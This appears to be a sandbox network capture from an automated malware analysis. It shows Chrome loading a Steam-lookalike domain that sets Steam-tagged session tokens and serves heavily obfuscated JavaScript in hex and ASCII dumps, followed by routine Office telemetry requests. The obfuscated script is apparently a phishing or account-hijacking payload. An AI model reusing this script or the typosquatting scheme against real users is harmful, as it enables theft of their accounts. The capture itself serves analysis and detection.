2024-10-07 06:46:57 UTC	687	OUT	GET /hfjf748934924/geting/put HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:46:57 UTC	1271	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; Path=/; Expires=Mon, 07 Oct 2024 10:46:57 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; Path=/; Expires=Mon, 07 Oct 2024 10:46:57 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC
2024-10-07 06:46:57 UTC	438	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 78 64 52 4a 6d 25 32 46 73 38 41 69 35 31 55 35 47 62 78 37 34 45 32 78 4a 77 77 4f 39 25 32 42 46 49 58 69 7a 55 50 78 43 49 35 4d 30 41 46 75 34 4e 6e 65 4a 55 31 51 75 70 75 44 44 35 25 32 42 69 76 34 73 4a 78 6c 4f 67 46 73 53 36 56 30 6c 45 64 4b 4b 4e 48 39 6c 59 72 25 32 46 5a 62 49 4f 25 32 46 69 52 57 79 4a 79 45 39 56 68 67 68 25 32 46 6c 57 74 41 74 25 32 46 37 43 75 50 4a 76 54 55 76 6f 4c 7a 7a 45 7a 6f 34 68 6b 53 71 6c 6e 68 6b 79 6a 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xdRJm%2Fs8Ai51U5Gbx74E2xJwwO9%2BFIXizUPxCI5M0AFu4NneJU1QupuDD5%2Biv4sJxlOgFsS6V0lEdKKNH9lYr%2FZbIO%2FiRWyJyE9Vhgh%2FlWtAt%2F7CuPJvTUvoLzzEzo4hkSqlnhkyjw%3D%3D"}],"group":"cf-nel
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 35 33 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 5380<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 62 5d 6e 27 2c 27 31 69 52 65 2a 38 28 58 23 34 70 56 3d 77 43 52 65 3a 5a 62 56 30 40 30 35 52 33 3c 53 61 52 6f 6c 6c 3d 3a 53 27 2c 27 5d 47 58 30 39 38 5b 3f 7a 35 35 4f 24 5e 28 66 5e 25 71 2e 3b 79 3e 3a 2a 4e 21 37 61 5b 74 54 54 75 64 48 32 5d 67 59 56 54 27 2c 27 2e 7a 30 4b 38 77 7a 54 74 37 6a 69 2c 6d 45 72 6a 32 5e 67 45 3a 66 64 5a 25 3e 57 62 79 7d 57 27 2c 27 33 7a 2b 78 23 6e 43 6b 38 37 69 3f 41 2e 59 71 6f 52 69 3b 72 23 3e 75 5e 38 4a 25 48 5d 3c 6d 6f 55 2a 2c 6a 60 5b 48 61 4f 27 2c 27 58 50 55 3d 3e 5b 61 43 27 2c 27 52 4a 79 67 55 37 21 43 27 2c 27 32 58 30 31 6e 76 7b 59 3c 21 74 2f 42 27 2c 27 64 50 45 3d 76 29 53 43 27 2c 27 65 50 29 31 66 2c 79 43 27 2c 27 3c 34 65 4a 6c 76 25 4e 72 52 27 2c 27 57 7a 7c 47 79 3b 55 36 59 4e 27 Data Ascii: b]n','1iRe8(X#4pV=wCRe:ZbV0@05R3<SaRoll=:S',']GX098[?z55O$^(f^%q.;y>:N!7a[tTTudH2]gYVT','.z0K8wzTt7ji,mErj2^gE:fdZ%>Wby}W','3z+x#nCk87i?A.YqoRi;r#>u^8J%H]<moU*,j`[HaO','XPU=>[aC','RJygU7!C','2X01nv{Y<!t/B','dPE=v)SC','eP)1f,yC','<4eJlv%NrR','Wz\|Gy;U6YN'
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 51 61 4b 68 2b 30 78 31 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2b 30 78 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2d 30 78 31 3a 59 7a 51 61 4b 68 2d 30 78 31 32 3a 59 7a 51 61 4b 68 2b 30 78 33 39 3a 59 7a 51 61 4b 68 2b 30 78 34 64 3a 59 7a 51 61 4b 68 2d 30 78 32 33 3a 59 7a 51 61 4b 68 2b 30 78 32 34 3a 59 7a 51 61 4b 68 2b 30 78 35 5d 7d 76 61 72 20 7a 4c 31 34 63 67 66 2c 56 4e 72 6e 50 65 4a 3b 76 6f 69 64 28 5a 59 4d 39 76 79 79 3d 59 7a 51 61 4b 68 5b 54 79 48 5a 7a 76 62 28 30 78 35 35 29 5d 2c 72 38 42 71 5f 75 39 5b 56 35 50 6a Data Ascii: QaKh+0x1c:YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh+0xc:YzQaKh>0x11?YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh-0x1:YzQaKh-0x12:YzQaKh+0x39:YzQaKh+0x4d:YzQaKh-0x23:YzQaKh+0x24:YzQaKh+0x5]}var zL14cgf,VNrnPeJ;void(ZYM9vyy=YzQaKh[TyHZzvb(0x55)],r8Bq_u9[V5Pj
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 2c 56 4e 72 6e 50 65 4a 3d 7b 5b 54 79 48 5a 7a 76 62 28 30 78 35 64 29 5d 3a 4a 77 41 6b 54 51 28 30 78 31 37 29 2c 49 75 36 58 47 4e 75 3a 4a 77 41 6b 54 51 28 30 78 32 66 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 39 29 5d 3a 4a 77 41 6b 54 51 28 30 78 33 31 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 66 29 5d 3a 4a 77 41 6b 54 51 28 30 78 66 29 7d 2c 72 76 42 35 69 31 66 3d 41 73 63 74 64 6d 28 28 29 3d 3e 7b 76 61 72 20 4f 6b 4d 6d 47 6e 2c 75 72 31 47 46 57 2c 72 38 42 71 5f 75 39 3b 66 75 6e 63 74 69 6f 6e 20 59 7a 51 61 4b 68 28 4f 6b 4d 6d 47 6e 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 30 78 31 35 3f 4f 6b 4d 6d 47 6e 2d 30 78 32 36 3a 4f 6b 4d 6d 47 6e 2d 30 78 31 36 5d 7d 74 79 70 65 6f 66 28 4f 6b 4d 6d 47 6e 3d 4a 77 Data Ascii: ,VNrnPeJ={[TyHZzvb(0x5d)]:JwAkTQ(0x17),Iu6XGNu:JwAkTQ(0x2f),[TyHZzvb(0x69)]:JwAkTQ(0x31),[TyHZzvb(0x6f)]:JwAkTQ(0xf)},rvB5i1f=Asctdm(()=>{var OkMmGn,ur1GFW,r8Bq_u9;function YzQaKh(OkMmGn){return uBmvIT[OkMmGn<0x15?OkMmGn-0x26:OkMmGn-0x16]}typeof(OkMmGn=Jw
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 4a 54 55 3d 5b 4a 77 41 6b 54 51 28 30 78 31 32 29 2c 4a 77 41 6b 54 51 28 30 78 32 31 29 2c 4a 77 41 6b 54 51 28 30 78 32 35 29 5d 2c 5a 59 4d 39 76 79 79 3d 7b 5b 47 6e 72 69 64 70 67 28 2d 30 78 33 32 29 5d 3a 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 31 29 29 7d 29 3b 63 6f 6e 73 74 20 72 76 42 35 69 31 66 3d 5b 5a 59 4d 39 76 79 79 5b 54 79 48 5a 7a 76 62 28 30 78 35 39 29 5d 2c 4a 77 41 6b 54 51 28 30 78 31 31 29 2c 75 34 63 4a 54 55 5b 30 78 30 5d 2c 4a 77 41 6b 54 51 2e 61 70 70 6c 79 28 54 79 48 5a 7a 76 62 28 30 78 35 65 29 2c 5b 30 78 31 33 5d 29 2c 4a 77 41 6b 54 51 28 30 78 31 34 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 33 31 29 29 2c 4a 77 41 6b 54 51 28 30 78 31 35 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 Data Ascii: JTU=[JwAkTQ(0x12),JwAkTQ(0x21),JwAkTQ(0x25)],ZYM9vyy={[Gnridpg(-0x32)]:JwAkTQ(Gnridpg(-0x1))});const rvB5i1f=[ZYM9vyy[TyHZzvb(0x59)],JwAkTQ(0x11),u4cJTU[0x0],JwAkTQ.apply(TyHZzvb(0x5e),[0x13]),JwAkTQ(0x14),JwAkTQ(Gnridpg(-0x31)),JwAkTQ(0x15),JwAkTQ(Gnridp
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 6b 4d 6d 47 6e 2d 30 78 33 35 3a 4f 6b 4d 6d 47 6e 2d 30 78 35 33 5d 7d 75 34 63 4a 54 55 3d 4a 77 41 6b 54 51 28 5a 59 4d 39 76 79 79 28 30 78 31 66 29 29 3b 74 72 79 7b 76 61 72 20 47 6e 72 69 64 70 67 3d 41 73 63 74 64 6d 28 4f 6b 4d 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 2d 30 78 31 61 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 35 3a 4f 6b 4d 6d 47 6e 2b 30 78 31 39 5d 7d 2c 30 78 31 29 3b 63 6f 6e 73 74 20 56 35 50 6a 63 31 67 3d 4b 37 65 76 70 33 28 4b 37 65 76 70 33 28 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 31 2c 30 78 31 61 34 29 29 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2f 47 6e 72 69 64 70 67 28 2d 30 78 39 29 2b 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 34 2c Data Ascii: kMmGn-0x35:OkMmGn-0x53]}u4cJTU=JwAkTQ(ZYM9vyy(0x1f));try{var Gnridpg=Asctdm(OkMmGn=>{return uBmvIT[OkMmGn<-0x1a?OkMmGn-0x15:OkMmGn+0x19]},0x1);const V5Pjc1g=K7evp3(K7evp3(parseInt(r8Bq_u9(0x1a1,0x1a4)),fRsug_7(-0x16))/Gnridpg(-0x9)+parseInt(r8Bq_u9(0x1a4,
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3e 30 78 31 33 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 34 3a 4f 6b 4d 6d 47 6e 2d 30 78 33 37 5d 7d 2c 30 78 31 29 3b 64 6f 63 75 6d 65 6e 74 5b 4a 77 41 6b 54 51 28 59 6f 38 61 39 4d 59 28 30 78 33 63 29 29 5d 5b 43 4b 45 68 52 43 28 30 78 33 33 2c 54 79 48 5a 7a 76 62 28 30 78 38 31 29 29 5d 3d 43 4b 45 68 52 43 28 59 6f 38 61 39 4d 59 28 30 78 32 35 29 2c 54 79 48 5a 7a 76 62 28 30 78 36 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 47 49 6b 6a 64 28 29 7b 76 61 72 20 4f 6b 4d 6d 47 6e 3d 41 73 63 74 64 6d 28 75 72 31 47 46 57 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 75 72 31 47 46 57 3e 30 78 36 33 3f 75 72 31 47 46 57 2b 30 78 36 3a 75 72 31 47 46 57 3c 30 78 32 30 3f 75 72 Data Ascii: mGn=>{return uBmvIT[OkMmGn>0x13?OkMmGn-0x14:OkMmGn-0x37]},0x1);document[JwAkTQ(Yo8a9MY(0x3c))][CKEhRC(0x33,TyHZzvb(0x81))]=CKEhRC(Yo8a9MY(0x25),TyHZzvb(0x60))}function BGIkjd(){var OkMmGn=Asctdm(ur1GFW=>{return uBmvIT[ur1GFW>0x63?ur1GFW+0x6:ur1GFW<0x20?ur
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 46 57 2d 30 78 33 31 3a 75 72 31 47 46 57 2b 30 78 31 39 3a 75 72 31 47 46 57 2d 30 78 32 39 3a 75 72 31 47 46 57 2d 30 78 32 37 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 30 78 39 39 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 54 79 48 5a 7a 76 62 28 30 78 36 38 29 2c 68 43 75 79 5a 61 3d 2d 30 78 31 36 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 28 29 7d 2c 54 79 48 5a 7a 76 62 28 30 78 37 39 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 6d 66 48 61 54 28 4f 6b Data Ascii: FW-0x31:ur1GFW+0x19:ur1GFW-0x29:ur1GFW-0x27]},0x1);return window[ur1GFW(K7evp3(0x99,fRsug_7(-0x16)),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))][ur1GFW(K7evp3(TyHZzvb(0x68),hCuyZa=-0x16),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))]()},TyHZzvb(0x79)))}function JmfHaT(Ok
2024-10-07 06:46:57 UTC	1369	IN	Data Raw: 79 79 2b 30 78 35 33 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 7a 4c 31 34 63 67 66 3d 2d 75 34 63 4a 54 55 28 2d 30 78 32 36 29 7d 2c 54 3a 28 29 3d 3e 7b 76 61 72 20 75 34 63 4a 54 55 3d 41 73 63 74 64 6d 28 5a 59 4d 39 76 79 79 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 5a 59 4d 39 76 79 79 3c 30 78 31 65 3f 5a 59 4d 39 76 79 79 2b 30 78 32 34 3a 5a 59 4d 39 76 79 79 2b 30 78 31 5d 7d 2c 30 78 31 29 3b 69 66 28 7a 4c 31 34 63 67 66 3d 3d 56 35 50 6a 63 31 67 2b 28 56 35 50 6a 63 31 67 2b 28 7a 4c 31 34 63 67 66 2d 30 78 31 33 61 29 29 7c 7c 75 34 63 4a 54 55 28 30 78 62 29 29 7b 21 28 56 35 50 6a 63 31 67 2b 3d 30 78 36 39 2c 7a 4c 31 34 63 67 66 2d 3d 30 78 34 65 29 3b 72 65 74 75 72 6e 20 56 34 58 69 63 65 6d 28 30 78 34 30 29 7d 21 28 68 Data Ascii: yy+0x53]},0x1);return zL14cgf=-u4cJTU(-0x26)},T:()=>{var u4cJTU=Asctdm(ZYM9vyy=>{return uBmvIT[ZYM9vyy<0x1e?ZYM9vyy+0x24:ZYM9vyy+0x1]},0x1);if(zL14cgf==V5Pjc1g+(V5Pjc1g+(zL14cgf-0x13a))\|\|u4cJTU(0xb)){!(V5Pjc1g+=0x69,zL14cgf-=0x4e);return V4Xicem(0x40)}!(h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49731	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	1079	OUT	GET /721d7f512e0801525b03025374095a52090a5905 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I
2024-10-07 06:46:58 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Length: 0 Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg; Path=/; Expires=Mon, 07 Oct 2024 10:46:58 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2Bmm9n0SrYzjRhgwgOYR%2BLyOcXnEPiLksJT6ATQzFoXnqEt0ONfZP7c8Srd6iXEC%2BCi7R6enz6xBYAwu83wuiJsjHEzp7V%2BdpokkuyiU%2FZm2YaNrQEqo4%2Fnwd9bYCj0P9Hi9ff8d8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebefe4deec4265-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48brl8we3nu8cxwgn00000003fg000000004kwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48dfrdj7px744zp8s00000002ug00000000b2c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1be53f37-001e-00a2-0266-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48lknvp09v995n79000000002s0000000007fg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 